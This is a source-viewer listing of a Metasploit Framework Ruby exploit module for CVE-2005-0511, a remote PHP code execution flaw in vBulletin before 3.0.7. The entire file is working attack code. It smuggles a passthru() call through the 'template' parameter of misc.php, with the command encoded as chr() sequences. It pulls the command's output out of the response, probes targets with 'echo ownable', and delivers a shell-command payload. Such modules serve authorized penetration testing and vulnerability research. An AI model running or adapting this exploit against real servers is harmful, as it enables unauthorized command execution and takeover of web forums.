root / modules / exploits / unix / webapp / php_vbulletin_template.rb @ master
History | View | Annotate | Download (3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = ExcellentRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpClient |
| 18 |
|
| 19 |
# XXX This module needs an overhaul
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits an arbitrary PHP code execution flaw in |
| 25 |
the vBulletin web forum software. This vulnerability is only |
| 26 |
present when the "Add Template Name in HTML Comments" option |
| 27 |
is enabled. All versions of vBulletin prior to 3.0.7 are |
| 28 |
affected. |
| 29 |
},
|
| 30 |
'Author' =>
|
| 31 |
[ |
| 32 |
'str0ke <str0ke[at]milw0rm.com>',
|
| 33 |
'cazz'
|
| 34 |
], |
| 35 |
'License' => BSD_LICENSE, |
| 36 |
'Version' => '$Revision$', |
| 37 |
'References' =>
|
| 38 |
[ |
| 39 |
[ 'CVE', '2005-0511' ], |
| 40 |
[ 'BID', '12622' ], |
| 41 |
[ 'OSVDB', '14047' ], |
| 42 |
], |
| 43 |
'Privileged' => false, |
| 44 |
'Platform' => ['unix', 'solaris'], |
| 45 |
'Payload' =>
|
| 46 |
{
|
| 47 |
'Space' => 512, |
| 48 |
'DisableNops' => true, |
| 49 |
'Keys' => ['cmd', 'cmd_bash'], |
| 50 |
}, |
| 51 |
'Targets' => [ ['Automatic', { }], ], |
| 52 |
'DefaultTarget' => 0, |
| 53 |
'DisclosureDate' => 'Feb 25 2005' |
| 54 |
)) |
| 55 |
|
| 56 |
register_options( |
| 57 |
[ |
| 58 |
OptString.new('PATH', [ true, "Path to misc.php", '/forum/misc.php']), |
| 59 |
], self.class)
|
| 60 |
|
| 61 |
deregister_options( |
| 62 |
'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. |
| 63 |
) |
| 64 |
end
|
| 65 |
|
| 66 |
def go(command) |
| 67 |
wrapper = rand_text_alphanumeric(rand(128)+32) |
| 68 |
|
| 69 |
command = "echo #{wrapper};#{command};echo #{wrapper};"
|
| 70 |
encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.') |
| 71 |
|
| 72 |
res = send_request_cgi({
|
| 73 |
'uri' => datastore['PATH'], |
| 74 |
'method' => 'GET', |
| 75 |
'vars_get' =>
|
| 76 |
{
|
| 77 |
'do' => "page", |
| 78 |
'template' => "{${passthru(#{encoded})}}" |
| 79 |
} |
| 80 |
}, 5)
|
| 81 |
|
| 82 |
if (res and res.body) |
| 83 |
b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
|
| 84 |
if b
|
| 85 |
return b.captures[0] |
| 86 |
elsif datastore['HTTP::chunked'] == true |
| 87 |
b = /chunked Transfer-Encoding forbidden/.match(res.body)
|
| 88 |
if b
|
| 89 |
raise RuntimeError, 'Target PHP installation does not support chunked encoding. ' + |
| 90 |
'Support for chunked encoded requests was added to PHP on 12/15/2005. ' +
|
| 91 |
'Try disabling HTTP::chunked and trying again.'
|
| 92 |
end
|
| 93 |
end
|
| 94 |
end
|
| 95 |
|
| 96 |
return nil |
| 97 |
end
|
| 98 |
|
| 99 |
def check |
| 100 |
response = go("echo ownable")
|
| 101 |
if (!response.nil? and response =~ /ownable/sm) |
| 102 |
return Exploit::CheckCode::Vulnerable |
| 103 |
end
|
| 104 |
return Exploit::CheckCode::Safe |
| 105 |
end
|
| 106 |
|
| 107 |
def exploit |
| 108 |
response = go(payload.encoded) |
| 109 |
if response == nil |
| 110 |
print_error('exploit failed: no response')
|
| 111 |
else
|
| 112 |
if response.length == 0 |
| 113 |
print_status('exploit successful')
|
| 114 |
else
|
| 115 |
print_status("Command returned #{response}")
|
| 116 |
end
|
| 117 |
handler |
| 118 |
end
|
| 119 |
end
|
| 120 |
end
|